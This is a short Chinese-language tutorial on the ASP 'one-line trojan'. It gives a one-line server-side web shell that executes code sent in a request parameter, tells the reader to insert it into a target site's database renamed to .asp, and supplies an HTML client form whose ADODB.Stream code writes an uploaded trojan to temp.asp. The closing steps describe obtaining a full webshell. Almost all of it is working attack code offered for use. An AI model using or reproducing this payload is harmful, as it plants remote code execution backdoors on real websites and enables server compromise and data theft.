一句话木马

 

一句话木马：服务端和客户端内容分别如下：
服务端代码：

<%execute request("l")%> 

//只要将次代码插入数据库即可，最好他的数据库修改成xxx.asp之类的了。
客户端代码：

<form action=http://www.******.com/xxx.asp method=post>     //注：xxx.asp为数据库，也就 
            <textarea name=l cols=120 rows=10 width=45>                //是你至少要知道数据库路径
            set lP=server.CreateObject("Adodb.Stream") 
            lP.Open 
            lP.Type=2 
            lP.CharSet="gb2312" 
            lP.writetext request("p") 
            lP.SaveToFile server.mappath("temp.asp"),2 
            lP.Close 
            set lP=nothing 
            response.redirect "temp.asp" 
            </textarea> 
            <textarea name=p cols=120 rows=10 width=45></textarea><BR><center><br> 
            <input type=submit value=提交>”

在能网站提交的地方，只要服务端代码写进数据库就可以利用了。
利用：把客户端代码保存成html格式的，打开后看到两个框，上边框里内容是 set lP=————"temp.asp"之间的内容，在下边框里写入asp木马即可得到webshell。